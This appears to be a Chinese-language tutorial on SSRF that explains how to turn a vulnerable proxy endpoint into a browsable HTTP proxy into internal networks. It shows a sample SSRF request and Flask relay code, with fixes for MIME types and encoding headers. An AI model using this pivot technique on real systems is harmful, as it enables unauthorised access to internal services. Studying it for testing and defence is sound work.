SSRF 服务器请求伪造

SSRF(Server-side Request Forge, 服务端请求伪造)。由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。

常见的功能点

2020-03-21-16-58-32

  • Net-NTLM && NTLM Relay
  • 获取服务器真实IP
  • 端口扫描
  • 网页代理
  • ……

网页代理 - HTTP Proxy

2020-03-21-17-01-01

客户端应用HTTP代理后,可通过代理服务器访问内网HTTP协议资源

而在SSRF场景,需要SSRF具备支持HTTP两大请求方式:GET、POST,且有响应Body

POST /application/services/proxy/doPostAndGet HTTP/1.1
Host: app.domain.com
Connection: keep-alive
Content-Length: XX
Content-Type: application/json
Accept: */*
Referer: http://app.domain.com/application/portal/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

{
    "url":"http://domain.com/sso?login",
    "method":"post",
    "jsonBody":"{\"username\":\"123456\"}"
}

Flask 框架

2020-03-21-17-02-11

Flask是一个用Python编写的Web应用程序框架,它基于Werkzeug WSGI工具包和Jinja2模板引擎。

Flask也被称为“microframework” ,因为它使用简单的核心,用extension增加其他功能,它没有默认使用的数据库、窗体验证工具。

from flask import Flask
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello, World!'

2020-03-21-17-02-36

$ export FLASK_APP=hello.py
$ python -m flask run
 * Running on http://127.0.0.1:5000/

Flask 框架的请求流程

  1. befor_first_request
  2. befor_request
  3. after_request
  4. teardown_request → 异常处理
  5. after_this_request

2020-03-21-17-03-02

from flask import Flask, request, Response
import requests
app = Flask(__name__)

@app.before_request
def _proxy(*args, **kwargs):
    resp = requests.request(
        method=request.method,
        url=request.url,
        headers={key: value for (key, value) in request.headers},
        data=request.get_data(),
        cookies=request.cookies,
        allow_redirects=False)

    excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection']
    headers = [(name, value) for (name, value) in resp.raw.headers.items()
               if name.lower() not in excluded_headers]

    response = Response(resp.content, resp.status_code, headers)
    return response
if __name__ == "__main__":
    app.run(debug=True)

Flask的默认端口是:5000

2020-03-21-17-03-33

插件名称:SwitchyOmega

2020-03-21-17-03-48

通过把代理服务器设置为5000(Flask默认)端口,浏览器的所有请求都会经过这五个装饰器,在每个装饰器中,可以写自己的检测规则。由于许多的SSRF漏洞接口返回的Content-Type始终都是一样的,因此会产生图片、JS等静态文件无法加载,下面我们将解决这个问题。

解决文件类型问题

遇到这个问题,首先分析浏览器为什么无法加载。

  1. SSRF漏洞接口返回的Content-Type是Json,那么我们还需要将Json转化为一个字典,把DATA取出。
  2. 根据SSRF漏洞请求的URI来定义MIME Type,Response返回对应的MIME Type即可解决
def get_filetype(url):
    content_type = 'text/html'
    response_mimetype = {
        '.png':'image/png',
        '.js':'application/javascript',
        '.jpg':'image/jpeg',
        '.gif': 'image/gif',
        '.jpeg':'image/jpeg',
        '.ico':'image/x-icon',
        '.css':'text/css',
        '.svg':'image/svg+xml',
    }
    disassembled = urlparse(url)
    filename, file_ext = splitext(basename(disassembled.path))
    content_type = response_mimetype.get(file_ext, 'text/html')
    return content_type

这里定义了一些常见的MIME类型,通过截取URI的文件扩展名来找到对应的MIME类型,默认找不到就以HTML返回,不知道还有没有更赞的办法,如果有欢迎分享。

Content-Encoding问题

Accept-Encoding 和Content-Encoding是HTTP中用来对采用哪种编码格式传输正文进行协定的一对头部字段。

通过SSRF漏洞接口返回的通常可能是附带Content-Encoding头的响应,但与SSRF目标返回的不匹配,会造成网页展示不完全的情况。(本质上是接口取回的内容已经是解码后的,但接口本身可能又有编码头)

excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection']
        headers = [(name, value) for (name, value) in resp.raw.headers.items()
                   if name.lower() not in excluded_headers]

这里的解决方式是剔除编码头 Content-Encoding。